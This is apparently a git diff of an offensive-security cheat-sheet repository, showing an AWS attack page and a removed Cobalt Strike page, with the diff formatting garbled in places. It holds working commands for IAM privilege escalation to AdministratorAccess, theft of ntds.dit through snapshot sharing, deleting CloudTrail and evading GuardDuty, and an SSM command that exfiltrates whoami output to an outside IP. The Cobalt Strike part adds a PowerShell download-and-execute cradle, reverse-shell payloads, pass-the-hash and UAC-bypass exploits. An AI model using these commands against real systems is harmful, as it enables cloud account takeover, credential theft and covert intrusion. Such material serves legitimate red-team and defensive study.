- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
```powershell
$ aws lambda create-function function-name my_function runtime python3.6 role arn_of_lambda_role handler lambda_function.lambda_handler code file://my/python/code.py
$ aws lambda invoke function-name my_function output.txt
```
Example of code.py
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
)
return response
```
* **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
```powershell
$ aws glue create-dev-endpoint endpoint-name my_dev_endpoint role-arn arn_of_glue_service_role public-key file://path/to/my/public/ssh/key.pub
```
## AWS - Gaining AWS Console Access via API Keys
A utility to convert your AWS CLI credentials into AWS console access.
```powershell
$> git clone https://github.com/NetSPI/aws_consoler
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED
```
## AWS - Enumerate IAM permissions
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
```powershell
git clone git@github.com:andresriancho/enumerate-iam.git
pip install -r requirements.txt
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
"RoleDetailList": [
{
"Tags": [],
"AssumeRolePolicyDocument": {
"Version": "2008-10-17",
"Statement": [
{
...
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
```
## AWS - Mount EBS volume to EC2 Linux
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
1. Head over to EC2 > Volumes and create a new volume of your preferred size and type.
2. Select the created volume, right click and select the "attach volume" option.
3. Select the instance from the instance text box as shown below : `attach ebs volume`
```powershell
aws ec2 create-volume snapshot-id snapshot_id --availability-zone zone
aws ec2 attach-volume -volume-id volume_id -instance-id instance_id --device device
```
4. Now, login to your ec2 instance and list the available disks using the following command : `lsblk`
5. Check if the volume has any data using the following command : `sudo file -s /dev/xvdf`
6. Format the volume to ext4 filesystem using the following command : `sudo mkfs -t ext4 /dev/xvdf`
7. Create a directory of your choice to mount our new ext4 volume. I am using the name “newvolume” : `sudo mkdir /newvolume`
8. Mount the volume to "newvolume" directory using the following command : `sudo mount /dev/xvdf /newvolume/`
9. cd into newvolume directory and check the disk space for confirming the volume mount : `cd /newvolume; df -h .`
## AWS - Copy EC2 using AMI Image
First you need to extract data about the current instances and their AMI/security groups/subnet : `aws ec2 describe-images --region eu-west-1`
```powershell
# create a new image for the instance-id
$ aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
$ aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
$ aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
```
## AWS - Instance Connect - Push an SSH key to EC2 instance
```powershell
# https://aws.amazon.com/fr/blogs/compute/new-using-amazon-ec2-instance-connect-for-ssh-access-to-your-ec2-instances/
$ aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq ".[][].Instances | .[] | {InstanceId, KeyName, State}"
$ aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds
```
## AWS - Lambda - Extract function's code
```powershell
# https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed
$ aws lambda list-functions --profile uploadcreds
$ aws lambda get-function --function-name "LAMBDA-NAME-HERE-FROM-PREVIOUS-QUERY" --query 'Code.Location' --profile uploadcreds
$ wget -O lambda-function.zip url-from-previous-query --profile uploadcreds
```
## AWS - SSM - Command execution
:warning: The ssm-user account is not removed from the system when SSM Agent is uninstalled.
SSM Agent is preinstalled, by default, on the following Amazon Machine Images (AMIs):
* Windows Server 2008-2012 R2 AMIs published in November 2016 or later
* Windows Server 2016 and 2019
* Amazon Linux
* Amazon Linux 2
* Ubuntu Server 16.04
* Ubuntu Server 18.04
* Amazon ECS-Optimized
```powershell
$ aws ssm describe-instance-information --profile stolencreds --region eu-west-1
$ aws ssm send-command --instance-ids "INSTANCE-ID-HERE" --document-name "AWS-RunShellScript" --comment "IP Config" --parameters commands=ifconfig --output text --query "Command.CommandId" --profile stolencreds
$ aws ssm list-command-invocations --command-id "COMMAND-ID-HERE" --details --query "CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}" --profile stolencreds
e.g:
$ aws ssm send-command --instance-ids "i-05b████████adaa" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1
```
## AWS - Golden SAML Attack
https://www.youtube.com/watch?v=5dj4vOqqGZw
https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/
> Using the extracted information, the tool will generate a forged SAML token as an arbitrary user that can then be used to authenticate to Office 365 without knowledge of that user's password. This attack also bypasses any MFA requirements.
Requirement:
* Token-signing private key (export from personal store using Mimikatz)
* IdP public certificate
* IdP name
* Role name (role to assume)
```powershell
$ python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
$ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
```
## AWS - Shadow Copy attack
Prerequisite:
* EC2:CreateSnapshot
* CloudCopy - https://github.com/Static-Flow/CloudCopy
1. Load AWS CLI with Victim Credentials that have at least CreateSnapshot permissions
2. Run `"Describe-Instances"` and show in list for attacker to select
3. Run `"Create-Snapshot"` on volume of selected instance
4. Run `"modify-snapshot-attribute"` on new snapshot to set `"createVolumePermission"` to attacker AWS Account
5. Load AWS CLI with Attacker Credentials
6. Run `"run-instance"` command to create new linux ec2 with our stolen snapshot
7. Ssh run `"sudo mkdir /windows"`
8. Ssh run `"sudo mount /dev/xvdf1 /windows/"`
9. Ssh run `"sudo cp /windows/Windows/NTDS/ntds.dit /home/ec2-user"`
10. Ssh run `"sudo cp /windows/Windows/System32/config/SYSTEM /home/ec2-user"`
11. Ssh run `"sudo chown ec2-user:ec2-user /home/ec2-user/*"`
12. SFTP get `"/home/ec2-user/SYSTEM ./SYSTEM"`
13. SFTP get `"/home/ec2-user/ntds.dit ./ntds.dit"`
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path
## Disable CloudTrail
```powershell
$ aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator
```
Disable monitoring of events from global services
```powershell
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event
```
Disable Cloud Trail on specific regions
```powershell
$ aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
```
## Cover tracks by obfuscating Cloudtrail logs and Guard Duty
:warning: When using awscli on Kali Linux, Pentoo and Parrot Linux, a log is generated based on the user-agent.
Pacu bypass this problem by defining a custom User-Agent (https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu.py#L1473)
```python
boto3_session = boto3.session.Session()
ua = boto3_session._session.user_agent()
if 'kali' in ua.lower() or 'parrot' in ua.lower() or 'pentoo' in ua.lower(): # If the local OS is Kali/Parrot/Pentoo Linux
# GuardDuty triggers a finding around API calls made from Kali Linux, so let's avoid that...
self.print('Detected environment as one of Kali/Parrot/Pentoo Linux. Modifying user agent to hide that from GuardDuty...')
```
## DynamoDB
> Amazon DynamoDB is a key-value and document database that delivers single-digit millisecond performance at any scale. It's a fully managed, multi-region, multi-active, durable database with built-in security, backup and restore, and in-memory caching for internet-scale applications. DynamoDB can handle more than 10 trillion requests per day and can support peaks of more than 20 million requests per second.
* list tables
```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb list-tables
{
"TableNames": [
"users"
]
}
```
* enumerate table content
```bash
$ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'
{
"password": {
"S": "Management@#1@#"
},
"username": {
"S": "Mgmt"
}
}
```
## Security checks
https://github.com/DenizParlak/Zeus
* Identity and Access Management
* Avoid the use of the "root" account
* Ensure multi-factor authentication (MFA) is enabled for all IAM users that have a console password
* Ensure credentials unused for 90 days or greater are disabled
* Ensure access keys are rotated every 90 days or less
* Ensure IAM password policy requires at least one uppercase letter
* Ensure IAM password policy requires at least one lowercase letter
* Ensure IAM password policy requires at least one symbol
* Ensure IAM password policy requires at least one number
* Ensure IAM password policy requires minimum length of 14 or greater
* Ensure no root account access key exists
* Ensure MFA is enabled for the "root" account
* Ensure security questions are registered in the AWS account
* Ensure IAM policies are attached only to groups or role
* Enable detailed billing
* Maintain current contact details
* Ensure security contact information is registered
* Ensure IAM instance roles are used for AWS resource access from instances
* Logging
* Ensure CloudTrail is enabled in all regions
* Ensure CloudTrail log file validation is enabled
* Ensure the S3 bucket CloudTrail logs to is not publicly accessible
* Ensure CloudTrail trails are integrated with CloudWatch Logs
* Ensure AWS Config is enabled in all regions
* Ensure S3 bucket access logging is enabled on the CloudTrail S3 bucket
* Ensure CloudTrail logs are encrypted at rest using KMS CMKs
* Ensure rotation for customer created CMKs is enabled
* Networking
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 22
* Ensure no security groups allow ingress from 0.0.0.0/0 to port 3389
* Ensure VPC flow logging is enabled in all VPC
* Ensure the default security group of every VPC restricts all traffic
* Monitoring
* Ensure a log metric filter and alarm exist for unauthorized API calls
* Ensure a log metric filter and alarm exist for Management Consolesign-in without MFA
* Ensure a log metric filter and alarm exist for usage of "root" account
* Ensure a log metric filter and alarm exist for IAM policy changes
* Ensure a log metric filter and alarm exist for CloudTrail configuration changes
* Ensure a log metric filter and alarm exist for AWS Management Console authentication failures
* Ensure a log metric filter and alarm exist for disabling or scheduled deletion of customer created CMKs
* Ensure a log metric filter and alarm exist for S3 bucket policy changes
* Ensure a log metric filter and alarm exist for AWS Config configuration changes
* Ensure a log metric filter and alarm exist for security group changes
* Ensure a log metric filter and alarm exist for changes to NetworkAccess Control Lists (NACL)
* Ensure a log metric filter and alarm exist for changes to network gateways
* Ensure a log metric filter and alarm exist for route table changes
* Ensure a log metric filter and alarm exist for VPC changes
## References
* [An introduction to penetration testing AWS - Graceful Security](https://www.gracefulsecurity.com/an-introduction-to-penetration-testing-aws/)
* [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
* [My arsenal of AWS Security tools - toniblyx](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
* [AWS Privilege Escalation method mitigation - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
* [PACU Spencer Gietzen - 30 juil. 2018](https://www.youtube.com/watch?v=XfetW1Vqybw&feature=youtu.be&list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)
* [Cloud security instance metadata - PumaScan](https://pumascan.com/resources/cloud-security-instance-metadata/)
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
* [amazon-guardduty-user-guide PenTest Finding Types - @awsdocs](https://github.com/awsdocs/amazon-guardduty-user-guide/blob/master/doc_source/guardduty_pentest.md)
* [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/)
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)
* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)
* [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)

File diff suppressed because it is too large Load Diff

View File

@@ -1,486 +1,32 @@
# Cobalt Strike # Cobalt Strike
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity. :warning: Content of this page has been moved to [InternalAllTheThings/command-control/cobalt-strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/)
- [Infrastructure](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#infrastructure)
```powershell - [Redirectors](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#redirectors)
$ sudo apt-get update - [Domain fronting](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#domain-fronting)
$ sudo apt-get install openjdk-11-jdk - [OpSec](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#opsec)
$ sudo apt install proxychains socat - [Customer ID](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#customer-id)
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64 - [Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#payloads)
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile] - [DNS Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#dns-beacon)
$ ./cobaltstrike - [SMB Beacon](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#smb-beacon)
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))" - [Metasploit compatibility](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#metasploit-compatibility)
``` - [Custom Payloads](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#custom-payloads)
- [Malleable C2](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#malleable-c2)
## Summary - [Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#files)
- [Powershell and .NET](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-and-net)
* [Infrastructure](#infrastructure) - [Powershell commabds](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#powershell-commands)
* [Redirectors](#redirectors) - [.NET remote execution](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#net-remote-execution)
* [Domain fronting](#domain-fronting) - [Lateral Movement](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#lateral-movement)
* [OpSec](#opsec) - [VPN & Pivots](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#vpn--pivots)
* [Customer ID](#customer-id) - [Kits](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#kits)
* [Payloads](#payloads) - [Elevate Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#elevate-kit)
* [DNS Beacon](#dns-beacon) - [Persistence Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#persistence-kit)
* [SMB Beacon](#smb-beacon) - [Resource Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#resource-kit)
* [Metasploit compatibility](#metasploit-compatibility) - [Artifact Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#artifact-kit)
* [Custom Payloads](#custom-payloads) - [Mimikatz Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#mimikatz-kit)
* [Malleable C2](#malleable-c2) - [Sleep Mask Kit](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#sleep-mask-kit)
* [Files](#files) - [Thread Stack Spoofer](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#thread-stack-spoofer)
* [Powershell and .NET](#powershell-and-net) - [Beacon Object Files](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#beacon-object-files)
* [Powershell commabds](#powershell-commands) - [NTLM Relaying via Cobalt Strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#ntlm-relaying-via-cobalt-strike)
* [.NET remote execution](#net-remote-execution) - [References](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#references)
* [Lateral Movement](#lateral-movement)
* [VPN & Pivots](#vpn--pivots)
* [Kits](#kits)
* [Elevate Kit](#elevate-kit)
* [Persistence Kit](#persistence-kit)
* [Resource Kit](#resource-kit)
* [Artifact Kit](#artifact-kit)
* [Mimikatz Kit](#mimikatz-kit)
* [Sleep Mask Kit](#sleep-mask-kit)
* [Thread Stack Spoofer](#thread-stack-spoofer)
* [Beacon Object Files](#beacon-object-files)
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
* [References](#references)
## Infrastructure
### Redirectors
```powershell
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
```
### Domain Fronting
* New Listener > HTTP Host Header
* Choose a domain in "Finance & Healthcare" sector
## OpSec
**Don't**
* Use default self-signed HTTPS certificate
* Use default port (50050)
* Use 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
**Do**
* Use a redirector (Apache, CDN, ...)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging `set hosts_stage` to `false` in Malleable C2
* Use Malleable Profile to taylor your attack to specific actors
### Customer ID
> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
* The trial has a Customer ID value of 0.
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
## Payloads
### DNS Beacon
* Edit the Zone File for the domain
* Create an A record for Cobalt Strike system
* Create an NS record that points to FQDN of your Cobalt Strike system
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
* nslookup jibberish.beacon polling.campaigns.domain.com
* nslookup jibberish.beacon campaigns.domain.com
Example of DNS on Digital Ocean:
```powershell
NS example.com directs to 10.10.10.10. 86400
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
A campaigns.example.com directs to 10.10.10.10 3600
```
```powershell
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
```
Configuration:
1. **host**: campaigns.domain.com
2. **beacon**: polling.campaigns.domain.com
3. Interact with a beacon, and `sleep 0`
### SMB Beacon
```powershell
link [host] [pipename]
connect [host] [port]
unlink [host] [PID]
jump [exec] [host] [pipe]
```
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
| Error Code | Meaning | Description |
|------------|----------------------|----------------------------------------------------|
| 2 | File Not Found | There is no beacon for you to link to |
| 5 | Access is denied | Invalid credentials or you don't have permission |
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
### SSH Beacon
```powershell
# deploy a beacon
beacon> help ssh
Use: ssh [target:port] [user] [pass]
Spawn an SSH client and attempt to login to the specified target
beacon> help ssh-key
Use: ssh [target:port] [user] [/path/to/key.pem]
Spawn an SSH client and attempt to login to the specified target
# beacon's commands
upload Upload a file
download Download a file
socks Start SOCKS4a server to relay traffic
sudo Run a command via sudo
rportfwd Setup a reverse port forward
shell Execute a command via the shell
```
### Metasploit compatibility
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
* Set LHOST and LPORT to the beacon
* Set DisablePayloadHandler to True
* Set PrependMigrate to True
* exploit -j
### Custom Payloads
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
```powershell
* Attacks > Packages > Payload Generator
* Attacks > Packages > Scripted Web Delivery (S)
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
```
## Malleable C2
List of Malleable Profiles hosted on Github
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
Example of syntax
```powershell
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";
# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";
```
Check a profile with `./c2lint`.
* A result of 0 is returned if c2lint completes with no errors
* A result of 1 is returned if c2lint completes with only warnings
* A result of 2 is returned if c2lint completes with only errors
* A result of 3 is returned if c2lint completes with both errors and warning
## Files
```powershell
# List the file on the specified directory
beacon > ls <C:\Path>
# Change into the specified working directory
beacon > cd [directory]
# Delete a file\folder
beacon > rm [file\folder]
# File copy
beacon > cp [src] [dest]
# Download a file from the path on the Beacon host
beacon > download [C:\filePath]
# Lists downloads in progress
beacon > downloads
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```
## Powershell and .NET
### Powershell commands
```powershell
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]
```
### .NET remote execution
Run a local .NET executable as a Beacon post-exploitation job.
Require:
* Binaries compiled with the "Any CPU" configuration.
```powershell
beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
```
## Lateral Movement
:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
- **portscan:** Performs a portscan on a spesific target.
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
:exclamation: This module needs Administrator privileges.
- **steal_token:** Steal a token from a specified process.
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \
:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \
:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.
:warning: All the commands launch powershell.exe
```powershell
Beacon Remote Exploits
======================
jump [module] [target] [listener]
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command]
Methods Description
------- -----------
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI (PowerShell)
```
Opsec safe Pass-the-Hash:
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
2. `steal_token PID`
### Assume Control of Artifact
* Use `link` to connect to SMB Beacon
* Use `connect` to connect to TCP Beacon
## VPN & Pivots
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
```powershell
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]
# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]
# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
# then you can handle the connect back on your MSF multi handler
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
```
## Kits
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
### Elevate Kit
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
```powershell
beacon> runasadmin
Beacon Command Elevators
========================
Exploit Description
------- -----------
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
svc-exe Get SYSTEM via an executable run as a service
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
uac-token-duplication Bypass UAC with Token Duplication
```
### Persistence Kit
* https://github.com/0xthirteen/MoveKit
* https://github.com/fireeye/SharPersist
```powershell
# List persistences
